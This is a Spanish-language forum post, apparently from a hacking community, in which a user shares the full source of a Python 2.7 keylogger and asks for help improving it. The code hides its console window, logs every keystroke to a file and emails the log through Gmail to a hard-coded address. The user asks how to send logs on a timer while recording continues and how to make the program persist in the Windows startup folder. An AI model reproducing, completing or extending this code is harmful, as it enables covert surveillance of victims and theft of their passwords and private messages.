Hola tod@s Underc0ders, ando explorando el mundo del python2.7
y tengo una duda respecto a mi codigo que es el siguiente como lo mencione es un keylogger en python que envia a gmail
#!/usr/bin/env python
#_*_ coding: utf8 _*_
import pynput.keyboard
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32console #segundo plano
import win32gui
from scheduler import Scheduler
ventana = win32console.GetConsoleWindow()#ventana que se ejeuta
win32gui.ShowWindow(ventana,0)#dos parmetros 1 ventana a ocultar y 0 para que se oculte
log_file = open('log.txt','w+') #w+ para crearlo y si se vuelve a crear el contenido anterior se borra
def enviar_datos():
msg = MIMEMultipart()
password = "micontraseña"
msg['From'] = "[email protected]"
msg ['To'] = "[email protected]" # correo a enviar
msg['Subject'] = "Keylogger" #asunto msje gmail
msg.attach(MIMEText(file('log.txt').read()))#archivo a leer log.txt
try:
server = smtplib.SMTP('smtp.gmail.com:587') #SMTP define servido de correo electronico y puerto a conectar
server.starttls()
server.login(msg['From'],password) #nos logeamos
server.sendmail(msg['From'],msg['To'],msg.as_string())#enviar con 3 parametros remitente,el qe recibe y el contenido
server.quit() #cerramos el server
except:
pass
def imprimir():
teclas = ''.join(lista_tecla)
log_file.write(teclas)
log_file.write("\n")
log_file.close()#siempre cerramos el archivo
time.sleep(3) #momento que cierra el archivo tiempo de espera
enviar_datos()
lista_tecla = []
def convertir(key):
if isinstance(key,pynput.keyboard.KeyCode): #isinstance verifica que un objeto sea una clase de la segunda variable
return key.char
else:
return str(key)
def presiona(key):
key1 = convertir(key)
if key1 == "Key.esc":
print("Saliendo...")
imprimir()
while True:
presiona(key)
elif key1 == "Key.space":
lista_tecla.append(" ")
elif key1 == "Key.enter":
lista_tecla.append("\n")
elif key1 == "Key.backspace":
pass
elif key1 == "Key.tab":
pass
elif key1 == "Key.shift":
pass
elif key1 == "Key.alt_l":
lista_tecla.append("(alt)")
else:
lista_tecla.append(key1)
with pynput.keyboard.Listener(on_press=presiona) as listen: #atribuir todo a listen con as
listen.join()
Tengo unas preguntas... hasta donde lo ven funciona muy bn, pero quiero modificarlo debido que tiene falencias :
1) al oprimir X tecla en este caso es la tecla ESCAPE el escribe el archivo log.txt y lo envie al gmail PEROOO ya deja de grabar teclas por decirlo de alguna manera o deja de ejecutarse mejor dicho! PENSADO: Eh pensado ponerle un bucle infinito "while" para que se ejecute siempre
que me recomiendan para que digamos en ves de que con la tecla Escape "ejemplo" se detenga y se envie, que se envie cada X tiempo y siga grabando y enviando
2) al reiniciar ya perdemos todo, quiero agregarlo a la carpeta inicio eh pensado varias cosas, copiarlo en la carpeta de inicio, hacer en vb6 y añadirlo y juntarlos no se... que me recomiendan que haga para agregarlo al inicio y que cuando se reinicie no se pierda
Agradezco de antemano